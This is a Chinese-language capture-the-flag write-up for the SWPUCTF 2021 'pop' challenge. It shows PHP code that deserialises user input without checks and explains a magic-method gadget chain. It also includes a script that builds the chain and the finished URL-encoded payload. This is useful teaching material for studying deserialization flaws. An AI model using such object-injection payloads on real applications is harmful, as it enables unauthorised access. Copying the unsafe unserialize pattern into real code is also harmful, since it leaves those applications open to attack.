目录

[SWPUCTF 2021 新生赛]pop

目录

[SWPUCTF 2021 新生赛]pop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
show_source("index.php");

// 定义类 w44m
class w44m {

    // 私有成员变量 $admin,初始值为 'aaa'
    private $admin = 'aaa';

    // 受保护成员变量 $passwd,初始值为 '123456'
    protected $passwd = '123456';

    // 公共方法 Getflag
    public function Getflag() {
        // 检查 $admin 和 $passwd 是否符合条件
        if ($this->admin === 'w44m' && $this->passwd === '08067') {
            // 如果条件成立,包含 'flag.php' 文件并输出 $flag 变量
            include('flag.php');
            echo $flag;
        } else {
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

// 定义类 w22m
class w22m {

    // 公共成员变量 $w00m
    public $w00m;

    // __destruct 魔术方法,在对象销毁时调用
    public function __destruct() {
        // 输出 $w00m 的值
        echo $this->w00m;
    }
}

// 定义类 w33m
class w33m {

    // 公共成员变量 $w00m
    public $w00m;

    // 公共成员变量 $w22m
    public $w22m;

    // __toString 魔术方法,在将对象转换为字符串时调用
    public function __toString() {
        // 调用 $w00m 对象的 $w22m 方法
        $this->w00m->{$this->w22m}();
        // 返回整数 0
        return 0;
    }
}

// 从 $_GET 中获取参数 w00m
$w00m = $_GET['w00m'];

// 对参数 w00m 执行反序列化操作
unserialize($w00m);
?>

想要获得 flag 就得让 w44m 类的 Getflag() 执行,并且 admin 变量为 ‘w44m’ 、 passwd 变量为 ‘08067’

序列化和反序列化只会执行魔术方法,直接序列化和反序列化 w44m 类的对象都不会执行 Getflag() 方法

而 w33m 类的魔术方法 __toString() 的内容刚好是执行某个对象的某个方法

__toString() 会在对象被转化为字符串时调用,直接序列化和反序列化 w33m 类的对象没法调用 __toString() 方法

w22m 类的 __destruct() 魔术方法会在对象销毁时调用,内容是输出一个变量的值

捋一下思路:

  1. 当 w22m 类的对象被反序列化后销毁时调用 __destruct() ,输出 w00m 变量的值,w00m 变量的值是 w33m 类实例化的对象
  2. 要输出 w33m 类实例化的对象会将对象转化为字符串,会调用 __toString() ,从而调用 w00m 对象的 w22m 方法, w00m 为 w44m 类实例化的对象, w22m 为 Getflag() 方法
  3. w44m 类实例化的对象中的 admin = ‘w44m’、passwd = ‘08067’,符合条件,输出 flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w33m{
    public $w00m;
    public $w22m;
}
class w22m{
    public $w00m;
}
$o = new w22m();
$o->w00m = new w33m(); 
$o->w00m->w00m = new w44m();
$o->w00m->w22m = 'Getflag';
$o = serialize($o);
echo urlencode($o);
?>

https://pic.imgdb.cn/item/654e4bbdc458853aef0a2f52.jpg

payload :

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D